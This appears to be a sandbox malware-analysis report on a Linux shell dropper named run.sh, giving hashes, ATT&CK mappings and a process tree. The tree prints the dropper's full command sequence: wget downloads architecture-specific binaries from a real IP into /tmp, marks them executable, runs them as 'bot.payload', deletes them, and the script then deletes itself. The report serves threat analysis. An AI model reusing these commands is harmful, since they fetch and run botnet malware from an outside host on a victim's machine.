03d0cfae6ac54701c201673ecbdef024176f54536e38fc773a2ff7fbe7ea071a

Analysis

max time kernel
5s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 08:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.sh
Size 748B
Sample261027-khpp2scw9p
SHA256 03d0cfae6ac54701c201673ecbdef024176f54536e38fc773a2ff7fbe7ea071a
MD5 0ccf8c0fc7b4f81d3c7e7d3046c65d2f
SHA1 f85e15f78974309df1d18bbfb2ec47db357d2e97
SHA512 d47a94ecdaab03d98c14ad1f6bc6b33ee17c6887a5ef46bb0a70ca1d4407b64ab65b474b2d25ac4c6f9cf3eedef1d7e9bc6d1d92761035b13040ed79c9da8b28
TLSH
T14B0194AB65B0AC3068A9CA3CFE9786B0104B142768042909709F6E04EF2CE4CF2A2656
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
695	chmod
704	chmod
724	chmod
748	chmod
775	chmod
785	chmod
675	chmod
686	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/duncpy	676	run.sh
/tmp/fh91vu	687	run.sh
/tmp/c7dff8	696	run.sh
/tmp/y91w8u	705	run.sh
/tmp/qvetrb	726	run.sh
/tmp/oxql8d	749	run.sh
/tmp/deqk33	776	run.sh
/tmp/70795o	786	run.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
653	wget
684	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/duncpy	wget
File opened for modification	/tmp/fh91vu	wget
File opened for modification	/tmp/c7dff8	wget
File opened for modification	/tmp/y91w8u	wget
File opened for modification	/tmp/qvetrb	wget
File opened for modification	/tmp/oxql8d	wget
File opened for modification	/tmp/deqk33	wget
File opened for modification	/tmp/70795o	wget

/tmp/run.sh
/tmp/run.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:649
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:648
- /usr/bin/head
  head -c 6
  2⤵
  PID:650
- /usr/bin/wget
  wget -q http://45.198.224.43/mips -O duncpy
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:653
- /bin/chmod
  chmod +x duncpy
  2⤵
  - File and Directory Permissions Modification
  PID:675
- /bin/rm
  rm -f duncpy
  2⤵
  PID:677
- /tmp/duncpy
  ./duncpy bot.payload
  2⤵
  PID:676
- /bin/sh
  /bin/sh ./duncpy bot.payload
  2⤵
  PID:676
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:681
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:682
- /usr/bin/head
  head -c 6
  2⤵
  PID:683
- /usr/bin/wget
  wget -q http://45.198.224.43/mipsel -O fh91vu
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod +x fh91vu
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /bin/rm
  rm -f fh91vu
  2⤵
  PID:688
- /tmp/fh91vu
  ./fh91vu bot.payload
  2⤵
  PID:687
- /bin/sh
  /bin/sh ./fh91vu bot.payload
  2⤵
  PID:687
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:691
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:692
- /usr/bin/head
  head -c 6
  2⤵
  PID:693
- /usr/bin/wget
  wget -q http://45.198.224.43/x86 -O c7dff8
  2⤵
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod +x c7dff8
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /bin/rm
  rm -f c7dff8
  2⤵
  PID:697
- /tmp/c7dff8
  ./c7dff8 bot.payload
  2⤵
  PID:696
- /bin/sh
  /bin/sh ./c7dff8 bot.payload
  2⤵
  PID:696
- /usr/bin/head
  head -c 6
  2⤵
  PID:702
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:701
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:700
- /usr/bin/wget
  wget -q http://45.198.224.43/armv7l -O y91w8u
  2⤵
  - Writes file to tmp directory
  PID:703
- /bin/chmod
  chmod +x y91w8u
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /bin/rm
  rm -f y91w8u
  2⤵
  PID:706
- /tmp/y91w8u
  ./y91w8u bot.payload
  2⤵
  PID:705
- /bin/sh
  /bin/sh ./y91w8u bot.payload
  2⤵
  PID:705
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:709
- /usr/bin/head
  head -c 6
  2⤵
  PID:711
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:710
- /usr/bin/wget
  wget -q http://45.198.224.43/armv6l -O qvetrb
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod +x qvetrb
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /bin/rm
  rm -f qvetrb
  2⤵
  PID:727
- /tmp/qvetrb
  ./qvetrb bot.payload
  2⤵
  PID:726
- /bin/sh
  /bin/sh ./qvetrb bot.payload
  2⤵
  PID:726
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:731
- /usr/bin/head
  head -c 6
  2⤵
  PID:732
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:730
- /usr/bin/wget
  wget -q http://45.198.224.43/armv5l -O oxql8d
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod +x oxql8d
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /bin/rm
  rm -f oxql8d
  2⤵
  PID:750
- /tmp/oxql8d
  ./oxql8d bot.payload
  2⤵
  PID:749
- /bin/sh
  /bin/sh ./oxql8d bot.payload
  2⤵
  PID:749
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:754
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:755
- /usr/bin/head
  head -c 6
  2⤵
  PID:756
- /usr/bin/wget
  wget -q http://45.198.224.43/i686 -O deqk33
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod +x deqk33
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /bin/rm
  rm -f deqk33
  2⤵
  PID:777
- /tmp/deqk33
  ./deqk33 bot.payload
  2⤵
  PID:776
- /bin/sh
  /bin/sh ./deqk33 bot.payload
  2⤵
  PID:776
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:781
- /usr/bin/head
  head -c 6
  2⤵
  PID:782
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:780
- /usr/bin/wget
  wget -q http://45.198.224.43/ppc64 -O 70795o
  2⤵
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod +x 70795o
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/70795o
  ./70795o bot.payload
  2⤵
  PID:786
- /bin/sh
  /bin/sh ./70795o bot.payload
  2⤵
  PID:786
- /bin/rm
  rm -f 70795o
  2⤵
  PID:787
- /bin/sleep
  sleep 2
  2⤵
  PID:790

/bin/rm
rm -f /tmp/run.sh
1⤵
PID:789

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads